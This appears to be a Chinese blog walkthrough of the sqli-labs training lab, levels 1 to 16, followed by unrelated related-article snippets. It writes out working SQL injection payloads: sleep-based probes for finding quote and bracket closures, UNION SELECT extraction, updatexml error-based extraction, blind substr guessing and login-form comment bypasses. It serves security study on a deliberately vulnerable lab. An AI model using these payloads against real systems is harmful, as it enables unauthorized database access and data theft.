当前位置: 首页 > news >正文

sqli-labs:1~16(sql注入点稳定判断语句、全回显半回显报错回显无回显利用思路、sql注入tips)

怎么验证sql注入的存在呢?

首先,双引号单引号注入,看看有没有报错,或者与正常参数的区别,有报错说明大概率可以注入成功,但是,很可能单引号和双引号测试可能没有报错回显,或者与正常参数显示一模一样,这种情况的原因是多方面的,黑盒测试环境下也不好排查。

那么有没有能稳定确定sql注入点的方式或语句呢?

我认为,时间注入是最有效且稳定检验sql注入点的方式,就此靶场而言,所有的注入点都可以使用时间注入进行检测,而且时间注入相对稳定,它是一种在没有任何回显数据的情况下也能利用sql注入的一种手法,相对于其他手法,时间注入的利用过程会更加复杂。

时间注入检测注入点的语句有哪些?

id=1 and if(1=1,sleep(1),1)                     # 无闭合
id=1" and if(1=1,sleep(1),1) and "1"="1         # 双引号闭合
id=1' and if(1=1,sleep(1),1) and '1'='1         # 单引号闭合
id=1') and if(1=1,sleep(1),1) and ('1')=('1     # 单引号括号闭合
id=1) and if(1=1,sleep(1),1) and (1)=(1         # 括号闭合
id=1") and if(1=1,sleep(1),1) and ("1")=("1     # 双引号括号闭合
​
以上就是检测注入的闭合方式,如果能检测到sleep,在加上简单的判断,你将知道其闭合方式

注:如果以上的一个语句注入成功的话,并不代表着源码就按照这个语句闭合,比如说

id=1 and if(1=1,sleep(1),1)  能验证成功,也有可能是()闭合
id=1) and if(1=1,sleep(1),1) and (1)=(1 这个语句验证成功,原因如下:
SELECT * FROM security.users WHERE id=(1 and if(1=1,sleep(1),1) ) LIMIT 0,1
SELECT * FROM security.users WHERE id=1 and if(1=1,sleep(1),1)LIMIT 0,1
​
或者如果:id=1' and if(1=1,sleep(1),1) and '1'='1    语句能验证成功,也有可能是('')闭合:id=1') and if(1=1,sleep(1),1) and ('1')=('1       原因如下
​
SELECT * FROM security.users WHERE id='1' and if(1=1,sleep(1),1) and '1'='1' LIMIT 0,1
SELECT * FROM security.users WHERE id=('1' and if(1=1,sleep(1),1) and '1'='1    ') LIMIT 0,1
​
总之,针对以上语句,如果有哪个语句验证成功,它加括号也能验证成功,此种情况有个优点:
如果你能测试成功一个语句,你将缩小判断它闭合方式的范围,
这个范围就是语句本身,或语句本身在加个()闭合,或其他闭合方式,或多个((()))括号的闭合

注:执行sleep()的时候一定要确保所有and连接的条件都为真,示例如下

在一个登录页面注入:
SELECT username, password FROM users WHERE username='' and password='' LIMIT 0,1
username=admin' and if(1=1,sleep(1),1) and '1'='1
password=123
​
SELECT username, password FROM users WHERE username='admin' and if(1=1,sleep(1),1) and '1'='1' and password='123' LIMIT 0,1
如果要sleep,那么需要条件(username='admin')('1'='1')(password='123')都成功,而如果password我们不知道,这个条件不成功,也就不sleep,如果你知道密码,把password改成正确的密码,这条语句也能使用
​
总结:只要and连接的条件有1个为假,sleep就不会执行

以上是我打完靶场总结来的,在我能接触足够多的实战sql注入之前,我可能一直使用它。

sql注入全回显、半回显、报错回显、无回显利用思路

  • 全回显:

    • 通常是注入利用的内容=页面显示的内容

    • 利用:union select

  • 半回显:

    • 通常是不回显数据库数据到页面,但是会在页面上显示是否有结果

    • 利用:and substr(database(),1,1) ='s'

      • 如果是预期回显结果,证明我们爆破的字符正确

      • 如果不是预期回显结果,直接pass

      • 写脚本

  • 报错回显

    • 通常有mysql报错信息

    • 利用:and updatexml(1,concat(0x7e,database(),0x7e),1)

    • 直接把database内容会先到报错上

  • 无回显

    • 没有任何回显,或注入成功后的回显和不成功的回显一模一样

    • 利用:and if(substr(database(),1,1)='s',sleep(1),1)

      • 如果sleep 1秒,爆破的字符正确

      • 如果没sleep,直接pass

      • 写脚本

这个系列文章包含我的一些其他的tips,可能对实战很有帮助

因为此系列靶场过多且重复,我先以database数据库名作为靶标(flag),之后以上sql注入全回显、半回显、报错回显、无回显利用,我会单独放在一个文章

less1(单引号闭合、全回显)

id=1 and if(1=1,sleep(1),1)         # 能检测到单引号注入
​
1' union select 1,database(),3 --+  # 显示出database

less2(无闭合、全回显)

id=1 and if(1=1,sleep(1),1)                                                 # 无闭合
​
id=0 union select 1,database(),3 --+                                        # 全回显

less3(单引号加括号闭合、全回显)

id=1') and if(1=1,sleep(1),1) and ('1')=('1                                 # 单引号加括号闭合
​
id=0') union select 1,database(),3 --+                                      # 全回显

less4(双引号加括号闭合、全回显)

id=1") and if(1=1,sleep(1),1) and ("1")=("1                                 # 双引号加括号闭合
​
id=0") union select 1,database(),3 --+                                      # 全回显

less5(单引号闭合、报错回显)

id=1' and if(1=1,sleep(1),1) and '1'='1                                     # 单引号闭合
​
id=1' and updatexml(1,concat(0x7e,database(),0x7e),1) and '1'='1            # 报错回显

less6(双引号闭合、报错回显)

id=1" and if(1=1,sleep(1),1) and "1"="1                                     # 双引号闭合
​
id=1" and updatexml(1,concat(0x7e,database(),0x7e),1) and "1"="1            # 报错回显

less7(单引号括号闭合、报错回显)

id=1') and if(1=1,sleep(1),1) and ('1')=('1                                 # 单引号括号闭合
​
id=1') and updatexml(1,concat(0x7e,database(),0x7e),1) and ('1')=('1        # 报错回显

less8(单引号闭合、半回显)

id=1' and if(1=1,sleep(1),1) and '1'='1                                     # 单引号闭合
​
id=1' and updatexml(1,concat(0x7e,database(),0x7e),1) and '1'='1            # 报错无回显
​
# 需要写脚本跑
id=1' and substr(database(),1,1)='s' and '1'='1                             # 半回显

less9(单引号闭合、无回显、时间注入tips)

id=1' and if(1=1,sleep(1),1) and '1'='1                                     # 单引号闭合
​
id=1' and updatexml(1,concat(0x7e,database(),0x7e),1) and '1'='1            # 报错无回显
​
id=1' and substr(database(),1,1)='s' and '1'='1                             # 所有回显结果都一样
​
#写脚本
id=1' and if(substr(database(),1,1)='s',sleep(1),1) and '1'='1              # 无回显
​
时间盲注小tips:
如果要时间注入,注意判断语句全都是真才可以sleep
​
例如:id=0' and if(substr(database(),1,1)='s',sleep(1),1) and '1'='1
查询结果为空(因为不存在id=0的用户),不会sleep
而id=1' and if(substr(database(),1,1)='s',sleep(1),1) and '1'='1
会sleep

less10(双引号闭合、无回显、时间注入)

id=1" and if(1=1,sleep(1),1) and "1"="1                                     # 双引号闭合
​
id=1" and updatexml(1,concat(0x7e,database(),0x7e),1) and "1"="1            # 报错无回显
​
id=1" and substr(database(),1,1)="s" and "1"="1                             # 所有回显结果都一样
​
#写脚本
id=1" and if(substr(database(),1,1)="s",sleep(1),1) and "1"="1              # 无回显

less11(单引号闭合、全回显)

首先为了我们的数据不被浏览器修改,我们要burpsuit抓包
测试username:
admin' and if(1=1,sleep(1),1) and '1'='1                                    # 不成功
​
admin' and if(1=1,sleep(1),1) #                                             # 成功
​
Username:0' union select 1,database()#                                     # 全回显
​
​
# 同样是单引号为何第一个不成功,第二个成功,首先不成功的语句如下:
SELECT username, password FROM users WHERE username='admin' and if(1=1,sleep(1),1) and '1'='1' and password='123' LIMIT 0,1
如果要sleep,那么需要条件(username='admin')('1'='1')(password='123')都成功,而如果password我们不知道,这个条件不成功,也就不sleep,如果你知道密码,把password改成正确的密码,这条语句也能使用
​
# 而成功的语句如下:
SELECT username, password FROM users WHERE username='admin' and if(1=1,sleep(1),1) #' and password='123' LIMIT 0,1
他会直接注释掉password='123'的判断

less12(双引号括号闭合、全回显)

测试username:
admin") and if(1=1,sleep(1),1) #                                            # 双引号括号闭合
​
0") union select 1,database() #                                             # 全回显

less13(单引号括号闭合、报错回显)

测试username:
admin') and if(1=1,sleep(1),1) #                                            # 单引号括号闭合
​
0') and updatexml(1,concat(0x7e,database(),0x7e),1) and ('1')=('1 #         # 报错回显

less14(双引号闭合、报错回显)

测试username:
admin" and if(1=1,sleep(1),1) #                                             # 双引号闭合
​
0" and updatexml(1,concat(0x7e,database(),0x7e),1) and "1"="1 #             # 报错回显

less15(单引号闭合、半回显)

测试username:
admin' and if(1=1,sleep(1),1) #                                             # 单引号闭合
​
0' and updatexml(1,concat(0x7e,database(),0x7e),1) and '1'='1 #             # 没有报错回显
​
admin' and substr(database(),1,1)='s'#                                      # 半回显
​
写脚本
可以通过判断页面回显,是否login success,如果是说明爆破的字符正确,否则pass

less16(双引号括号闭合、半回显)

测试username:
admin") and if(1=1,sleep(1),1) #                                            # 双引号括号闭合
​
0") union select 1,database() #                                             # 没有全回显
​
admin") and substr(database(),1,1)='s'#                                     # 半回显
​
写脚本
可以通过判断页面回显,是否login success,如果是说明爆破的字符正确,否则pass

 

相关文章:

sqli-labs:1~16(sql注入点稳定判断语句、全回显半回显报错回显无回显利用思路、sql注入tips)

怎么验证sql注入的存在呢? 首先,双引号单引号注入,看看有没有报错,或者与正常参数的区别,有报错说明大概率可以注入成功,但是,很可能单引号和双引号测试可能没有报错回显,或者与正常…...

springboot农产品销售信息微信小程序—计算机毕业设计源码35557

摘 要 在信息飞速发展的今天,网络已成为人们重要的信息交流平台。每天都有大量的农产品需要通过网络发布,为此,本人开发了一个基于springboot农产品销售信息微信小程序。 对于本农产品销售信息系统的设计来说,它主要是采用后台采…...

HuggingChat macOS 版现已发布

Hugging Face 的开源聊天应用程序 Hugging Chat,现已推出适用于 macOS 的版本。 主要特点 Hugging Chat macOS 版本具有以下亮点: 强大的模型支持: 用户可以一键访问多个顶尖的开源大语言模型,包括 Qwen 2.5 72B、Command R、Phi 3.5、Mistral 12B 等等&…...

C#:动态为Object对象添加新属性的方法

在C#中,object 类型本身是一个基础类型,它不支持直接添加属性,因为 object 并不具备定义属性的能力(它不支持任何接口或基类中的属性,除非通过类型转换)。然而,有几种方法可以在运行时模拟给对象…...

我常用的几个Python金融数据接口库,非常好用~

在金融分析和量化投资领域,Python已成为最受欢迎的编程语言之一。这主要归功于其丰富的库和框架,它们提供了处理和分析金融数据所需的工具,而且还有大量免费实时的金融股票数据供你分析研究。 以下是六个最常用的Python金融数据接口库&#x…...

【机器学习】ID3、C4.5、CART 算法

目录 常见的决策树算法 1. ID3 2. C4.5 3. CART 决策树的优缺点 优点: 缺点: 决策树的优化 常见的决策树算法 1. ID3 ID3(Iterative Dichotomiser 3)算法使用信息增益作为特征选择的标准。它是一种贪心算法,信…...

UE5: Content browser工具编写02

DebugHeader.h 中的全局变量,已经在一个cpp file中被include了,如果在另一个cpp file中再include它,就会有一些conflicts。先全部给加一个static Add static keyword to debug functionsWrap all the functions inside of a namespaceprint …...

【ARM】MDK-当选择AC5时每次点击build都会全编译

【更多软件使用问题请点击亿道电子官方网站】 1、 文档目标 解决MDK中选择AC5时每次点击build都会全编译 2、 问题场景 在MDK中点击build时,正常会只进行增量编译,但目前每次点击的时候都会全编译。 3、软硬件环境 1 软件版本:Keil MDK 5.…...

使用ESPnet的 setup_anaconda.sh安装脚本一步到位,配置conda虚拟环境

使用ESPnet的 setup_anaconda.sh 安装脚本一步到位,配置conda虚拟环境 前言 ESPnet(End-to-End Speech Processing Toolkit)是一款用于语音识别、语音合成等任务的开源端到端语音处理工具包。为了在不同系统上快速配置ESPnet开发环境&#…...

9、论文阅读:无监督的感知驱动深水下图像增强

Perception-Driven Deep Underwater Image Enhancement Without Paired Supervision 前言引言相关工作UIE模型基于非物理模型基于物理模型基于深度学习质量度量在图像增强中的应用方法论问题表述PQR模型PDD网络生成器损失函数实验Enhancement Without Paired Supervision) 前言…...

谷歌收录查询工具,使用谷歌收录查询工具查询网站收录情况并优化内容的详细步骤

在数字营销和SEO领域,了解网站在谷歌搜索引擎中的收录情况至关重要。使用谷歌收录查询工具,可以有效地监测网站的索引状态,进而优化内容以提升网站排名和曝光度。以下是如何使用谷歌收录查询工具查询网站收录情况并优化内容的详细步骤&#x…...

代理中长效的长板在哪里

伙伴们,之前咱们讨论过了短效代理的用途,那么今天我们来聊一聊长效代理的多元化用途,大家也可以对比一下它们的区别,根据自身的需求针对性地去选择合适的哦。 在企业的网络安全保卫战中,长效代理像是一座坚不可摧的钢…...

VS code Jupyter notebook 导入文件目录问题

VS code Jupyter notebook 导入文件目录问题 引言正文引言 这几天被 VS code 中 Jupyter Notebook 中的文件导入折磨的死去活来。这里特来说明一下放置于不同文件夹下的模块该如何被导入。 正文 首先,我们需要按下 Ctrl + , 键打开设置,然后搜索 notebook file root。在如…...

【IDEA】将光标移动到您上一次编辑的地方

将光标移动到您上一次编辑的地方 使用 ctl <-- 似乎是回到上一个文件而 ctl shift Backspace 是回到上一次的光标&#xff0c;似乎更有用一些。Backspace 是删除按键&#xff0c;要非常小心。 快捷键快速回退到上一次编辑的位置 在 IntelliJ IDEA 中&#xff0c;您可以…...

设备管理平台-支持快速开发

技术路线&#xff08;同时支持前后端分离 / 前后端一体&#xff0c;可用于网关或者服务器部署&#xff09; 前端&#xff1a;layui-v2.9.17 后端&#xff1a;Net8.0 使用组件 Swagger、Jwt、Freesql、MiniExcel、MemoryCache(存储登录用户信息&#xff0c;代替HttpContext.S…...

Vue项目开发注意事项

事项一&#xff1a;项目代码放在本地怎么运行起来 1、首先确定项目对应的node和npm版本 node下载地址 Index of /dist/https://nodejs.org/dist/ node 与 npm版本对应关系 Node.js — Node.js Releases 2、node卸载的时候&#xff0c;会自动把对应的npm卸载掉 情况1&…...

Vivado时序报告之CDC详解大全

目录 一、前言 二、Report CDC 2.1 Report CDC 2.2 配置界面 2.3 CDC报告 2.3.1 General Information 2.3.2 Summary 2.3.3 CDC Details 2.4 Waiver 2.4.1 设置Waiver 2.4.2 报告查看 2.4.3 去除Waiver设置 三、工程设计 四、参考资料 一、前言 前面已经针对…...

【研赛A题成品论文】24华为杯数学建模研赛A题成品论文+可运行代码丨免费分享

2024华为杯研究生数学建模竞赛A题精品成品论文已出&#xff01; A题 风电场有功功率优化分配 一、问题分析 A题是一道工程建模与优化类问题&#xff0c;其目的是根据题目所给的附件数据资料分析风机主轴及塔架疲劳损伤程度&#xff0c;以及建立优化模型求解最优有功功率分配…...

华为OD机试 - 小明的幸运数(Python/JS/C/C++ 2024 E卷 100分)

华为OD机试 2024E卷题库疯狂收录中&#xff0c;刷题点这里 专栏导读 本专栏收录于《华为OD机试真题&#xff08;Python/JS/C/C&#xff09;》。 刷的越多&#xff0c;抽中的概率越大&#xff0c;私信哪吒&#xff0c;备注华为OD&#xff0c;加入华为OD刷题交流群&#xff0c;…...

嵌入式学习——进程间通信方式(3)—— 共享内存

一、基本概念 什么是共享内存&#xff0c;顾名思义&#xff0c;就是将共享一片内存空间&#xff0c;共享内存允许多个不同的进程访问同一片内存空间。他们对这个内存直接进行操作&#xff0c;不需要经过内核的处理&#xff0c;因此共享内存是IPC通信方式中效率最高的。那如何实…...

intv_ai_mk11 GPU算力优化部署:7B模型在CSDN GPU实例上的高效运行方案

intv_ai_mk11 GPU算力优化部署&#xff1a;7B模型在CSDN GPU实例上的高效运行方案 1. 项目背景与价值 intv_ai_mk11是基于Llama架构的7B参数AI对话模型&#xff0c;专为中文场景优化设计。在CSDN GPU实例上部署这类中型模型时&#xff0c;面临的主要挑战是如何在有限显存条件…...

如何实现格式保留翻译?Hunyuan MT1.5结构化文本处理实战解析

如何实现格式保留翻译&#xff1f;Hunyuan MT1.5结构化文本处理实战解析 1. 引言&#xff1a;当翻译遇到格式难题 你有没有遇到过这样的尴尬场景&#xff1f;好不容易找到一款翻译工具&#xff0c;把英文网页翻译成了中文&#xff0c;结果发现所有链接都失效了&#xff0c;排…...

像素语言传送门效果实测:Hunyuan-MT-7B对中文网络新词(如‘绝绝子‘)的跨语种意译能力

像素语言传送门效果实测&#xff1a;Hunyuan-MT-7B对中文网络新词&#xff08;如绝绝子&#xff09;的跨语种意译能力 1. 测试背景与工具介绍 像素语言跨维传送门是基于腾讯Hunyuan-MT-7B翻译引擎构建的创新翻译工具。与传统翻译软件不同&#xff0c;它将语言转换过程设计成一…...

千问3.5-2B多场景落地:电商商品图识别、医疗报告图释义、工业缺陷初筛

千问3.5-2B多场景落地&#xff1a;电商商品图识别、医疗报告图释义、工业缺陷初筛 1. 开箱即用的视觉理解工具 千问3.5-2B是Qwen系列中的小型视觉语言模型&#xff0c;它能够理解图片内容并生成相关文本描述。这个工具特别适合需要快速处理图片信息的场景&#xff0c;比如电商…...

Janus-Pro-7B入门指南:零基础Python调用与第一个AI应用创建

Janus-Pro-7B入门指南&#xff1a;零基础Python调用与第一个AI应用创建 你是不是对AI大模型充满好奇&#xff0c;想亲手试试调用一个强大的模型&#xff0c;但又觉得门槛太高&#xff0c;被各种复杂的部署和配置劝退&#xff1f;别担心&#xff0c;今天我们就来彻底解决这个问…...

**发散创新:基于微应用架构的轻量级权限控制实战设计**在现代前端开

发散创新&#xff1a;基于微应用架构的轻量级权限控制实战设计 在现代前端开发中&#xff0c;**微应用&#xff08;Micro Frontend&#xff09;*8 已成为构建复杂单页应用&#xff08;SPA&#xff09;的标准方案之一。它允许团队独立开发、部署和维护各自的功能模块&#xff0c…...

Phi-4-mini-reasoning部署教程:Nginx反向代理+Basic Auth安全加固

Phi-4-mini-reasoning部署教程&#xff1a;Nginx反向代理Basic Auth安全加固 1. 项目介绍 Phi-4-mini-reasoning是一款由微软开源的轻量级AI模型&#xff0c;专注于数学推理、逻辑推导和多步解题等强逻辑任务。这个3.8B参数的模型虽然体积小巧&#xff0c;但在推理能力上表现…...

Vivado 时序约束文件 (.xdc) 管理与维护实战指南:从单文件到团队协作

Vivado 时序约束文件 (.xdc) 管理与维护实战指南&#xff1a;从单文件到团队协作 在FPGA设计流程中&#xff0c;时序约束文件&#xff08;.xdc&#xff09;如同交通信号灯&#xff0c;为设计指明方向与规则。随着项目规模扩大和团队协作需求增加&#xff0c;如何高效管理这些约…...

万象视界灵坛基础教程:PyTorch+Transformers环境搭建与CLIP零样本推理入门

万象视界灵坛基础教程&#xff1a;PyTorchTransformers环境搭建与CLIP零样本推理入门 1. 环境准备与快速部署 1.1 系统要求 Python 3.8或更高版本支持CUDA的NVIDIA GPU&#xff08;推荐&#xff09;至少8GB显存&#xff08;CLIP-ViT-L/14模型需求&#xff09;10GB以上可用磁…...

GPEN技术白皮书精读:生成先验如何解决人脸超分病态逆问题

GPEN技术白皮书精读&#xff1a;生成先验如何解决人脸超分病态逆问题 1. 引言&#xff1a;从模糊到高清的AI魔法 你有没有遇到过这样的情况&#xff1f;翻看老照片时&#xff0c;发现那些珍贵的面孔已经模糊不清&#xff1b;或者用AI生成图片时&#xff0c;人脸总是出现奇怪的…...